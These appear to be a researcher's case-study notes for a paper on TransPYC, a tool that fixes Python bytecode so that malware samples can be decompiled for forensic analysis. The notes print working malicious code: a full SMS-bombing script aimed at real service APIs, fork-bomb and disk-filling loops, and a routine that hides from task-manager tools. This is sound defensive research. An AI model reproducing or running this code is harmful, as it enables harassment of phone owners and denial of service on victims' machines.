---
tags: decompiler
title: Case studies
---
# Overview
This document documents the case-studies that would be used in the paper.
## Case 1a - Regular malicious case study
### Example 9:
Fails on `attack` in decompyle3
ID: 47511
Filename = mBomber.py
Tool for bombing SMS. Takes input from user.
Metadata:
```
"sha1": "380b789ae16be74b39d11230b4e95f8c3b42291c",
"status": "Suspicious",
"threat_name": "Win32.Trojan.Generic",
"untokenized_threat_name": "Win32.Trojan.Generic",
"threat_type": "Trojan",
"threat_family": "Generic",
"sample_type": "PE/Exe/PyInstaller",
"untokenized_sample_type": "PE/Exe/PyInstaller",
"file_names": [
"2741c0580205413e89db7bdc29ed125075a2dfef13acc4eacde62d5ed3f86712"
],
```
Code is below:
:::spoiler
Code:
```python
# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 2.7.18 (default, Apr 20 2020, 19:27:10)
# [GCC 8.3.0]
# Warning: this version of Python has problems handling the Python 3 "byte" type in constants properly.
# Embedded file name: mBomber.py
import random, requests, datetime
heads = [
{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:76.0) Gecko/20100101 Firefox/76.0',
'Accept':'*/*'},
{'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0',
'Accept':'*/*'},
{'User-Agent':'Mozilla/5.0 (X11; Debian; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0',
'Accept':'*/*'},
{'User-Agent':'Mozilla/5.0 (Windows NT 3.1; rv:76.0) Gecko/20100101 Firefox/69.0',
'Accept':'*/*'},
{'User-Agent':'Mozilla/5.0 (X11; Debian; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/76.0',
'Accept':'*/*'}]
def check(sent, sms):
if sent == sms:
quit()
def time(sent):
a = datetime.datetime.now()
time = str(a.hour) + ':' + str(a.minute) + ':' + str(a.second)
msg1 = str(sent) + u' \u0441\u043c\u0441 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e!!!!'
msg2 = str(time)
if int(sent) < 10:
print(msg1, msg2)
else:
if int(sent) < 100:
print(msg1, msg2)
else:
if int(sent) < 1000:
print(msg1, msg2)
else:
if int(sent) < 10000:
print(msg1, msg2)
else:
print(msg1, msg2)
def attack(number, sms):
number_7 = str(7) + number
number_plus7 = str(7) + number
number_8 = str(8) + number
sent = 0
HEADERS = random.choice(heads)
while sent <= sms:
try:
requests.post('https://api.sunlight.net/v3/customers/authorization/', data={'phone': number_7}, headers=HEADERS)
sent += 1
time(sent)
check(sent, sms)
except:
pass
else:
try:
requests.post('https://qlean.ru/clients-api/v2/sms_codes/auth/request_code', json={'phone': number_7}, headers=HEADERS)
sent += 1
time(sent)
check(sent, sms)
except:
pass
else:
try:
requests.post('https://cloud.mail.ru/api/v2/notify/applink', json={'phone':number_plus7, 'api':2, 'email':'email', 'x-email':'x-email'}, headers=HEADERS)
sent += 1
time(sent)
check(sent, sms)
except:
pass
else:
try:
requests.post('https://app-api.kfc.ru/api/v1/common/auth/s-validation-sms', json={'phone': number_plus7}, headers=HEADERS)
sent += 1
time(sent)
check(sent, sms)
except:
pass
else:
try:
requests.post('https://b.utair.ru/api/v1/login/', data={'login': number_8}, headers=HEADERS)
sent += 1
time(sent)
check(sent, sms)
except:
pass
else:
try:
requests.post('https://api.gotinder.com/v2/auth/sms/s?auth_type=sms&locale=ru', data={'phone_number': number_7}, headers=HEADERS)
sent += 1
time(sent)
check(sent, sms)
except:
pass
else:
try:
requests.post(('https://www.citilink.ru/registration/confirm/phone/+' + number_7 + '/'), headers=HEADERS)
sent += 1
time(sent)
check(sent, sms)
except:
pass
else:
try:
requests.post('https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone', data={'st.r.phone': number_plus7}, headers=HEADERS)
sent += 1
time(sent)
check(sent, sms)
except:
pass
else:
try:
requests.post('https://app.karusel.ru/api/v1/phone/', data={'phone': number_7}, headers=HEADERS)
sent += 1
time(sent)
check(sent, sms)
except:
pass
else:
try:
requests.post('https://youdrive.today/login/web/phone', data={'phone':number, 'phone_code':'7'}, headers=HEADERS)
sent += 1
time(sent)
check(sent, sms)
except:
pass
else:
try:
requests.post('https://api.mtstv.ru/v1/users', json={'msisdn': number_7}, headers=HEADERS)
sent += 1
time(sent)
check(sent, sms)
except:
pass
else:
try:
requests.post('https://youla.ru/web-api/auth/request_code', json={'phone': number_plus7}, headers=HEADERS)
sent += 1
time(sent)
check(sent, sms)
except:
pass
else:
try:
requests.post('https://eda.yandex/api/v1/user/request_authentication_code', json={'phone_number': '+' + number_7}, headers=HEADERS)
sent += 1
time(sent)
check(sent, sms)
except:
pass
else:
try:
requests.post('https://api.ivi.ru/mobileapi/user/register/phone/v6', data={'phone': number_7}, headers=HEADERS)
sent += 1
time(sent)
check(sent, sms)
except:
pass
else:
try:
requests.post('https://api.delitime.ru/api/v2/signup', data={'SignupForm[username]':number_7, 'SignupForm[device_type]':3}, headers=HEADERS)
sent += 1
time(sent)
check(sent, sms)
except:
pass
else:
try:
requests.post('https://www.icq.com/smsreg/requestPhoneValidation.php', data={'msisdn':number_7, 'locale':'en', 'countryCode':'ru', 'version':'1', 'k':'ic1rtwz1s1Hj1O0r', 'r':'46763'}, headers=HEADERS)
sent += 1
time(sent)
check(sent, sms)
except:
pass
title = u'\n\n SMS-bomber on python 3.x \n\n \u0410\u0432\u0442\u043e\u0440: markhabaevv \n\n \u0418\u043d\u0441\u0442\u0430\u0433\u0440\u0430\u043c: markhabaevv.soft\n\n /\\ /\\ /\\ |-\\| /|_ /\\ |_ /\\ |-- \\ /\\ /\n / \\ / \\ /__\\ |-/|/ | | /__\\ | | /__\\ |__ \\ / \\ /\n / \\/ \\/ \\|\\ |\\ | |/ \\|_|/ \\|__ \\/ \\/\n\n'
print(title)
print(u'\u0412\u0432\u0435\u0434\u0438 \u043d\u043e\u043c\u0435\u0440 \u0431\u0435\u0437 \u043f\u0440\u0435\u0444\u0438\u043a\u0441\u043e\u0432 +7 \u0438 8\n\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440: 7071112233')
input_number = input('>> ')
print(u'\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u0446\u0438\u043a\u043b\u043e\u0432 \u0430\u0442\u0430\u043a \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438?')
sms = int(input('>> '))
def parse_number(number):
msg = u'\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u043e\u043c\u0435\u0440\u0430 - \u0417\u0430\u0435\u0431\u0438\u0441\u044c!'
if len(number) in (10, 11, 12):
if number[0] == '8':
number = number[1:]
print(msg)
elif number[:2] == '+7':
number = number[2:]
print(msg)
elif int(len(number)) == 10 and number[0] == 9:
print(msg)
else:
print(u'\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u043e\u043c\u0435\u0440\u0430 - \u041e\u0428\u0418\u0411\u041a\u0410!!!\n\u041f\u0440\u043e\u0432\u0435\u0440\u044c \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0439 \u043d\u043e\u043c\u0435\u0440 (\u0431\u043e\u043c\u0431\u0435\u0440 \u043f\u043e\u043a\u0430 \u0447\u0442\u043e \u0430\u0442\u0430\u043a\u0430\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0443\u0441\u0441\u043a\u0438\u0435 \u0438 \u043a\u0430\u0437\u0430\u0445\u0441\u0438\u0430\u043d\u0441\u043a\u0438\u0435 \u043d\u043e\u043c\u0435\u0440\u0430!')
quit()
return number
number = parse_number(input_number)
attack(number, sms)
```
:::
### Example 8:
Source: [link](https://pastebin.com/9h2mg1aS)
Id: 37881
Fails at:
```python=
def start(amount):
global num
show_on()
discord_rich()
while 1:
if threading.active_count() < Threads:
if amount > num:
threading.Thread(target=thread, args=()).start()
num += 1
```
Hash: `2b3f8e8cd0f78e9a51c61e4a49498116a2c2668d`
Meta data:
```
"file_name": "2b3f8e8cd0f78e9a51c61e4a49498116a2c2668d",
"threat_name": "Win32.Trojan.BabyShark",
"untokenized_threat_name": "Win32.Trojan.BabyShark",
"cis_application_pe_resource": [
"RT_ICON",
"RT_GROUP_ICON"
],
"threat_type": "Trojan",
"sample_type": "PE/Exe/PyInstaller",
"untokenized_sample_type": "PE/Exe/PyInstaller",
"status": "Malicious",
```
### Example 7:
Hash: `fc49e542530f8634283731f0fab79c74f5892fb5`
Metadata:
```
"sha1": "fc49e542530f8634283731f0fab79c74f5892fb5",
"status": "Malicious",
"threat_name": "Win64.Trojan.Wacatac",
"untokenized_threat_name": "Win64.Trojan.Wacatac",
"threat_type": "Trojan",
"threat_family": "Wacatac",
"sample_type": "PE+/Exe/PyInstaller",
"untokenized_sample_type": "PE+/Exe/PyInstaller",
"file_names": [
"51896db7640cdf90b3b3e527530785ff9ed881d66f84523258f2242059deb646"
],
```
Files failing:
- Bomb.pyc ->
- Autorun.pyc -> 101602 (py39) - Pass
- Other\Rotate.py -> 182022 (py39) - Pass
- Other\SendKeys.py -> 182023 (py39) - Pass
- Stealer\Chromium.py -> 182030 (Py39) - Almost (only 1 fail)
- Other\Clipboard.py -> 182018 (Py39) - Pass
- Network\Information.py -> 182016 (Py39) - Almost (only 1 fail)
- Network\Location.py -> 101607 (Py39) - Almost (only 1 fail)
- Main\Screen.py -> 182014 (Py39) - Pass
- Fun\Speak.py -> 182009 (Py39) - Pass
- Bomb\ForkBomb.py -> 101593 (Py39) - Pass
- Bomb\ZipBomb.py -> 101594 (Py39) - Pass
- Settings\CriticalPyocess.py -> 101617.py
### Example 6:
Metadata:
```
"sha1": "156162474d0f5d81d9184d0563f0b7dbfaf628af",
"status": "Suspicious",
"threat_name": "Win64.Trojan.Generic",
"untokenized_threat_name": "Win64.Trojan.Generic",
"threat_type": "Trojan",
"threat_family": "Generic",
"top_container": "411d309082017b7d331ea607de8f6bd050eaadd2",
"sample_type": "PE+/Exe/PyInstaller",
"untokenized_sample_type": "PE+/Exe/PyInstaller",
```
File a variant of : [link](https://github.com/hakanonymos/steal-chrome-password-all-version/blob/master/local.py)
Python 3.9
Fails 9 functions. Eventually only fails:`chrome_decrypt`
Apply 6 rules from FET and that is fixed too.
Has the following additional features

### Example 5:
In this example we propogate error to find two applied rules. Though this a library function. Let me know if you need more details.
Original file:
```python
def source_synopsis(file):
line = file.readline()
while line[:1] == '#' or not line.strip():
line = file.readline()
if not line: break
line = line.strip()
if line[:4] == 'r"""': line = line[1:]
if line[:3] == '"""':
line = line[3:]
if line[-1:] == '\\': line = line[:-1]
while not line.strip():
line = file.readline()
if not line: break
result = line.split('"""')[0].strip()
else: result = None
return result
```
Decompiled:
```python
def source_synopsis(file):
global t1_annotated
line = file.readline()
while not line[:1] == '#':
line = line.strip() or file.readline()
if not line:
break
t1_annotated = t1_annotated
line = line.strip()
if line[:4] == 'r"""':
line = line[1:]
elif line[:3] == '"""':
line = line[3:]
if line[-1:] == '\\':
line = line[:-1]
while not line.strip():
line = file.readline()
if not line:
break
t1_annotated = t1_annotated
result = line.split('"""')[0].strip()
else:
result = None
return result
```
### Example 4:
File:
"sha1": "94b9b73d026265d28894e8295ec2588ff7161cfc",
"status": "Suspicious",
"threat_name": "Win32.Trojan.Generic",
"untokenized_threat_name": "Win32.Trojan.Generic",
"threat_type": "Trojan",
"threat_family": "Generic",
"sample_type": "PE/Exe/PyInstaller",
"untokenized_sample_type": "PE/Exe/PyInstaller",
We focus on the file `SmartChecker02.py` which we decompile only one of the functions.
The decompiled function is as follows:
```python=
def securedcheck(self, token):
try:
while True:
try:
lol = get((self.secureurl), headers={'Authorization': f"Bearer {token}"},
proxies=(self.proxies),
timeout=8).text
break
except:
pass # removed continue from here
answer = lol
except Exception as e:
try:
if self.debug:
self.printing.put(f"Error SFA: \n{e}")
answer = 'NFAAAA'
finally:
e = None
del e
else:
return answer
```
The rule that was to remove continue if it was at the end of the loop.
> Should cater to while loop and apply general rule of `continue` conversion to a variable
### Example 3:
For this case we look at sample `malware2`. We were able decompile all pyc files in this. Specifically the main file called `suckinator.py` failed and that too in `main` function. The file is a 1000+ lines of code with 217 instructions in the bytecode itself for the forensic anlayst to understand.

#### Resolving error
The error is as follows:
```
Parse error at or near `COME_FROM' instruction at offset 434_0
```
To which end our tool follows the chain of offset 434 in the error code. Where it sees the following in the log dump.
```
434_0 COME_FROM 370 '370'
```
This indicates that the error is at offset 370 and so it starts off from offset `370`. At the offset following code can be found.
```
364 LOAD_FAST 'input51'
366 LOAD_STR '3'
368 COMPARE_OP ==
370 EXTENDED_ARGS 1
372 POP_JUMP_IF_FALSE 434 'to 434'
```
Eventually it reaches the following code-object iteratively in the parent.
```
L.1018 250 LOAD_DEREF 'checkspamlist'
252 CALL_FUNCTION 0 ''
254 POP_TOP
256 JUMP_ABSOLUTE 8 'to 8'
```
This instruction `JUMP_ABSOLUTE` refers to a `continue` where which it replaces it according to our rule and replaces it with NOP instruction. The final code is shown below.
```python=
def main():
global info
global proxy
global t1_annotated
proxy = 'localhost'
info = ' '
while True:
clear()
logo()
print(info)
checkver()
print('Proxy: ' + Fore.BLUE + '{}'.format(proxy) + Style.RESET_ALL)
print(Fore.GREEN + '1)То что тебе нужно)')
print(Fore.WHITE + '2) Обновить прокси.')
print(Fore.RED + '3) Выход.')
input1 = input(Fore.BLUE + 'Введите номер пункта: ' + Style.RESET_ALL)
if input1 == '1':
clear()
logo()
print(info)
print('Выберите один вариант:')
print('1. Запустить спамер на один номер')
print('2. Выгрузить номера из TXT файла ')
input11 = input(Fore.BLUE + 'spymer > ' + Style.RESET_ALL)
if input11 == '1':
onesend()
else:
if input11 == '2':
filesend()
else:
print('Некорректно')
else:
if input1 == '4':
checkspamlist()
t1_annotated = t1_annotated
if input1 == '6':
addantispam()
elif input1 == '2':
print('1. Удалить прокси')
print('2. Ввести свой прокси')
print('3. Сгенерировать прокси')
input51 = input(Fore.BLUE + 'spymer > ' + Style.RESET_ALL)
if input51 == '1':
proxy = 'localhost'
break
if input51 == '2':
updateproxy()
break
if input51 == '3':
generateproxy()
elif input1 == '5':
update()
elif input1 == '3':
print(Fore.GREEN + '\nДавай пока)\n' + Style.RESET_ALL)
exit()
```
The `t1_annotated` is added by our tool and we can see more transparency as to what it was capable of.
### Example 1:
For this case study we look at sample `59fff7c9dccbfa15f03afdcbeb7d0a63d6105627.pyc`.
Meta-data:
- "status": "Malicious"
- "threat_name": "Script-Python.Infostealer.Heuristic"
- "untokenized_threat_name": "Script-Python.Infostealer.Heuristic"
- "threat_type": "Infostealer"
- "threat_family": "Heuristic"
- "sample_type": "Binary/None/PythonPYC"
Uncompyle6 info:
- Embedded file name: C:\Users\pwned\Desktop\Choco Leaked No-Auth\vDumpper BETA Leaked\dependencies\dx.py
This sample steal tokens and user information on the computer and uploads it to the web. The interesting aspect of this pyc file is it's function `spread`. The function is invoked in the following position.
```python=
with open((argv[0]), encoding='utf-8') as (file):
content = file.read()
payload = f'-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="file"; filename="{__file__}"\nContent-Type: text/plain\n\n{content}\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="content"\n\nserver crasher. python download: https://www.python.org/downloads\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="tts"\n\nfalse\n-----------------------------325414537030329320151394843687--'
Thread(target=spread, args=(token, payload, 7.5)).start()
```
The `spread` function is supposedly used to spread the collected information in a separate thread as can be inferred from the name. Unfortunately we can't tell since the function has failed to decompile as follows:
```
Instruction context:
->
L. 94 4 FOR_ITER 84 'to 84'
6 STORE_FAST 'friend'
# file samples/mal_samples/59fff7c9dccbfa15f03afdcbeb7d0a63d6105627.pyc
# Deparsing stopped due to parse error
samples/mal_samples/59fff7c9dccbfa15f03afdcbeb7d0a63d6105627.pyc --
# decompile failed
```
Quickly inspecting the error we see that it fails at a certain loop. This may confuse the forensic analyst and fall back to inspecting the raw disassembly to stitch back the code.
However, after quickly, applying TransPYC, we see that there is a match to our rule TR-3 .i.e. eliminating unnecessary code, to which we find that the original function only had appended bytecode to prevent it from decompiling. The final function is shown as follows.
```
def spread(token, form_data, delay):
pass
```
To ensure that the code was not all useless, TransPYC also creates `spread_prime` to preserve the dumped code and enable the decompiler to decompile it. To which we find the following:
```
def spread_prime--- This code section failed: ---
L. 93 0 FOR_ITER 80 'to 80'
2 STORE_FAST 'friend'
L. 94 4 SETUP_EXCEPT 36 'to 36'
6 LOAD_GLOBAL getchat
L. 95 8 LOAD_FAST 'token'
L. 96 10 LOAD_FAST 'friend'
12 LOAD_STR 'id'
14 BINARY_SUBSCR
16 CALL_FUNCTION_2 2 '2 positional arguments'
18 STORE_FAST 'chat_id'
20 LOAD_GLOBAL send_message
22 LOAD_FAST 'token'
L. 97 24 LOAD_FAST 'chat_id'
26 LOAD_FAST 'form_data'
28 CALL_FUNCTION_3 3 '3 positional arguments'
30 POP_TOP
32 POP_BLOCK
34 JUMP_FORWARD 70 'to 70'
36_0 COME_FROM_EXCEPT 4 '4'
36 DUP_TOP
38 LOAD_GLOBAL Exception
L. 98 40 COMPARE_OP exception-match
42 POP_JUMP_IF_FALSE 68 'to 68'
44 POP_TOP
46 STORE_FAST 'e'
48 POP_TOP
50 SETUP_FINALLY 56 'to 56'
52 POP_BLOCK
54 LOAD_CONST None
56_0 COME_FROM_FINALLY 50 '50'
L. 99 56 LOAD_CONST None
58 STORE_FAST 'e'
60 DELETE_FAST 'e'
62 END_FINALLY
64 POP_EXCEPT
66 JUMP_FORWARD 70 'to 70'
68_0 COME_FROM 42 '42'
68 END_FINALLY
70_0 COME_FROM 66 '66'
70_1 COME_FROM 34 '34'
70 LOAD_GLOBAL sleep
72 LOAD_FAST 'delay'
L. 100 74 CALL_FUNCTION_1 1 '1 positional argument'
76 POP_TOP
78 JUMP_BACK 0 'to 0'
80 POP_BLOCK
82 LOAD_CONST None
84 RETURN_VALUE
Parse error at or near `None' instruction at offset -1
```
The above code is broken bytecode for a loop. It misses essential instructions as follows:
```
0 SETUP_LOOP 88 (to 82)
2 LOAD_FAST 0 (a)
4 GET_ITER
>> 6 FOR_ITER 80 'to 80'
8 STORE_FAST 1 'friend'
```
Furthermore, to fix such a scenario, the analyst adds another rule to transPYC to fix the broken bytecode and is able to find the mystery behind the failed bytecode.
> @prof Kwon, Should I fix this to complete the story?
### Example 2:
For this case study we look at sample `3e0b0460fe349343cae4aaacb0ad985b8c8c60fb.pyc`.
Meta-data:
- "status": "Malicious"
- "threat_name": "Script-Python.Ransomware.Cyrat"
- "untokenized_threat_name": "Script-Python.Ransomware.Cyrat"
- "threat_type": "Ransomware"
- "threat_family": "Cyrat"
- "sample_type": "Binary/None/PythonPYC"
Uncompyle6 info:
- Embedded file name: Microsoft_dll_fix.py
This sample is a ransomeware that essentially encrypts all files on the computer. The key aspect of this file is that it disguises itself under a benign name to fix dll files on the computer. As you run it, it encrypts all files and opens a browser window asking for a ransome to send to it via cryptocurrency. This is a very common type of attack.
The failing function here is `set_desktop_background`. Though this function seems benign, for a forensic analyst, no code can be overlooked.
After quickly, applying TransPYC, we see that there is a match to our rule TR-3 .i.e. eliminating unnecessary code, to which we find that the original function is shown as follows.
```python=
def set_desktop_background():
file_path = f"{user}\\Documents\\background_img.png"
if os.path.isfile(file_path):
SPI_SETDESKWALLPAPER = 20
ctypes.windll.user32.SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, file_path, 0)
```
The attacker used a very straightforward approach to hide the this function. They added `JUMP_FORWARD` that jumps to the very next instruction which essentially makes no difference in execution but easily deceives the decompiler.
```
Disassembly of <code object set_desktop_background at 0x40031a4390, file "Microsoft_dll_fix.py", line 249>:
250 0 LOAD_GLOBAL 0 (user)
2 FORMAT_VALUE 0
4 LOAD_CONST 1 ('\\Documents\\background_img.png')
6 BUILD_STRING 2
8 STORE_FAST 0 (file_path)
251 10 LOAD_GLOBAL 1 (os)
12 LOAD_ATTR 2 (path)
14 LOAD_METHOD 3 (isfile)
16 LOAD_FAST 0 (file_path)
18 CALL_METHOD 1
20 POP_JUMP_IF_FALSE 48
252 22 LOAD_CONST 2 (20)
24 STORE_FAST 1 (SPI_SETDESKWALLPAPER)
253 26 LOAD_GLOBAL 4 (ctypes)
28 LOAD_ATTR 5 (windll)
30 LOAD_ATTR 6 (user32)
32 LOAD_METHOD 7 (SystemParametersInfoW)
34 LOAD_FAST 1 (SPI_SETDESKWALLPAPER)
36 LOAD_CONST 3 (0)
38 LOAD_FAST 0 (file_path)
40 LOAD_CONST 3 (0)
42 CALL_METHOD 4
44 POP_TOP
46 JUMP_FORWARD 0 (to 48)
255 >> 48 LOAD_CONST 0 (None)
50 RETURN_VALUE
```
We can see at offset `46` the said instruction. Our tool quickly removes it to reveal the function. Note that only looking at variable names, it would still be in-efficient to infer what it does.
## Case 1b - Python 3.9 Case study
### Overview
Python 3.9
sample: `85e36eb25c40a741257ee7237c3a46bf5c0b8733`
- "status": "Malicious"
- "threat_name": "Win64.Trojan.Wacatac"
- "untokenized_threat_name": "Win64.Trojan.Wacatac"
- "threat_type": "Trojan"
- "threat_family": "Wacatac"
- "sample_type": "PE+/Exe/PyInstaller"
- "untokenized_sample_type": "PE+/Exe/PyInstaller"
Python 3.9 is currently unsupported by decompyle3 and uncompyle6. Infact, after running decompiler on all 3045 samples, none of them were able to come close to decompilation. To which end we wanted to inspect how close can we get to being able to decompile python 3.9 pyc.
```graphviz
digraph dg{
rankdir=LR;
// py [shape=box, style=filled, color ="red", label="py"]
pyc_3 [shape=oval, label= "Final .pyc"]
pyc_2 [shape=oval, label= "Python 3.9\n \\w Python 3.8 header\n .pyc"]
pyc [shape=oval, label = "Python 3.9\n .pyc"]
hd [shape=box, style=filled, label="Convert header\n to python 3.8"]
// decompiler [shape=box, style=filled, label="Uncompyle6/\n Decompyle3"]
decompiler2 [shape=box, style=filled, label="Uncompyle6/\n Decompyle3"]
decompiler3 [shape=box, style=filled, label="Uncompyle6/\n Decompyle3"]
rules [shape=box, label="Py3.9 -> Py3.8 \nrules"]
transpyc [shape=diamond, style=filled, label="TransPYC"]
new_pyc [shape=oval, label = "trans .pyc'"]
pyc -> hd
// pyc -> decompiler
// decompiler -> hd [label=" Fail", color = "red"]
// hd -> decompiler
hd -> pyc_2
pyc_2 -> decompiler2
decompiler2 -> transpyc [label=" Fail", color = "red"]
rules -> transpyc [label="Feed rules", color = "blue"]
transpyc -> new_pyc
new_pyc -> decompiler3
decompiler3 -> transpyc [label=" Fail", color = "red"]
decompiler3 -> pyc_3 [label=" Pass", color = "green"]
}
```
Above shows the high level design of how we approach the problem.
> The break down of the above approach will be documented in my another document
The malware at hand is a Trojan and in order understand it's capability, we unpack it to extract all pyc files.
### Stats of unpacking and initial decompiler run
> May need to remove the following
We find that it has 497 files. Out of these we filter out only core pyc files left in the folder `Core`. From these we were left with 40 pyc files.
### Converting header
For the 40 pyc files, we convert their headers to python 3.8.
```graphviz
digraph dg{
rankdir=LR;
pyc_2 [shape=oval, label= "Python 3.9\n \\w Python 3.8 header\n .pyc"]
pyc [shape=oval, label = "Python 3.9\n .pyc"]
hd [shape=box, style=filled, label="Convert header\n to python 3.8"]
decompiler2 [shape=box, style=filled, label="Uncompyle6/\n Decompyle3"]
pyc -> hd
// pyc -> decompiler
// decompiler -> hd [label=" Fail", color = "red"]
// hd -> decompiler
hd -> pyc_2
pyc_2 -> decompiler2
}
```
Out of those pyc files with transformed headers, 8 lead to "parse errors" while remaining failed to be preprocessed by the decompiler.
### Applying transpyc
For those 8 files we then apply transpyc. We use a new set of rules that aim to convert python 3.9 instruction set to python 3.8. We apply the transformation and were successfully able to transform the pyc files to decompilable pyc files.
### Pyc files examples
Out of the decompiled pyc files decompiled, some include files like ForkBomb.py and ZipBomb.py.
#### `ForkBomb.py`
For `forkbomb.py`, we had the `Forkbomb` function failing as follows:
```python=
def Forkbomb--- This code section failed: ---
L. 10 0 SETUP_FINALLY 16 'to 16'
L. 11 2 LOAD_GLOBAL os
4 LOAD_METHOD startfile
6 LOAD_STR 'cmd.exe'
8 CALL_METHOD_1 1 ''
10 POP_TOP
12 POP_BLOCK
14 JUMP_BACK 0 'to 0'
16_0 COME_FROM_FINALLY 0 '0'
L. 12 16 POP_TOP
18 POP_TOP
20 POP_TOP
L. 13 22 POP_EXCEPT
24 JUMP_BACK 0 'to 0'
26 <48>
28 JUMP_BACK 0 'to 0'
Parse error at or near `<48>' instruction at offset 26
```
We see that the instruction `<48>` is an invalid function in python 3.8. Trnaspyc detects this pattern `[<48>]` and replace with: `[END_FINALLY]`. In doing so, we were able to decompile this as follows.
```python=
def Forkbomb():
while True:
try:
os.startfile('cmd.exe')
except:
pass
```
#### `Zipbomb.py`
For `Zipbomb.py`, we had the `Zipbomb` function failing as follows:
```python=
def Zipbomb--- This code section failed: ---
L. 11 0 SETUP_FINALLY 46 'to 46'
L. 12 2 LOAD_GLOBAL str
4 LOAD_GLOBAL random
6 LOAD_METHOD random
8 CALL_METHOD_0 0 ''
10 CALL_FUNCTION_1 1 ''
12 STORE_FAST 'Random'
L. 13 14 LOAD_GLOBAL open
16 LOAD_GLOBAL os
18 LOAD_METHOD getcwd
20 CALL_METHOD_0 0 ''
22 LOAD_STR '\\'
24 BINARY_ADD
26 LOAD_FAST 'Random'
28 BINARY_ADD
30 LOAD_STR 'a'
32 CALL_FUNCTION_2 2 ''
34 LOAD_METHOD write
36 LOAD_FAST 'Random'
38 CALL_METHOD_1 1 ''
40 POP_TOP
42 POP_BLOCK
44 JUMP_BACK 0 'to 0'
46_0 COME_FROM_FINALLY 0 '0'
L. 14 46 POP_TOP
48 POP_TOP
50 POP_TOP
L. 15 52 POP_EXCEPT
54 JUMP_BACK 0 'to 0'
56 <48>
58 JUMP_BACK 0 'to 0'
Parse error at or near `<48>' instruction at offset 56
```
This is similar to the previous example, and applying the same rule gives us the following.
```python=
ef Zipbomb():
while True:
try:
Random = str(random.random())
open(os.getcwd() + '\\' + Random, 'a').write(Random)
except:
pass
```
### Other pyc files
Other than the 40 pyc files, there were more pyc files like `CriticalProcess.py`. This file consisted of functions as `Processlist`, `BlacklistedProcesses`, and `ProcessChecker` that were initially not decompiled. The final decompilation of each are as follows.
```python=
def Processlist():
Processes = []
Process = subprocess.check_output('@chcp 65001 1> nul && @tasklist /fi "STATUS eq RUNNING" | find /V "Image Name" | find /V "="', shell=True,
stderr=(subprocess.DEVNULL),
stdin=(subprocess.DEVNULL)).decode(encoding='utf-8', errors='strict')
for ProcessName in Process.split(' '):
if '.exe' in ProcessName:
proc = ProcessName.replace('K\r\n', '').replace('\r\n', '')
Processes.append(proc)
return Processes
def BlacklistedProcesses():
Blacklist = ('processhacker.exe', 'procexp64.exe', 'taskmgr.exe', 'perfmon.exe')
for Process in Processlist():
if Process.lower() in Blacklist:
return True
return False
def ProcessChecker():
while True:
if BlacklistedProcesses() is True:
SetProtection()
if BlacklistedProcesses() is False:
UnsetProtection()
```
They essentially used instructions such as `<118>` and `<117>` with the following errors.
```
def Processlist--- This code section failed: ---
..
..
Parse error at or near `<118>' instruction at offset 54
def BlacklistedProcesses--- This code section failed: ---
..
..
Parse error at or near `<118>' instruction at offset 22
def ProcessChecker--- This code section failed: ---
..
..
Parse error at or near `<117>' instruction at offset 6
```
For all of these, the rules used was replacing them with `[COMPARE_OP]`. We convert as follows:
- Convert it to `COMPARE_OP` with argument `8` or `9` given `117` has argument `0` or `1` respectively.
- Convert it to `COMPARE_OP` with argument `6` or `7` given `117` has argument `0` or `1` respectively.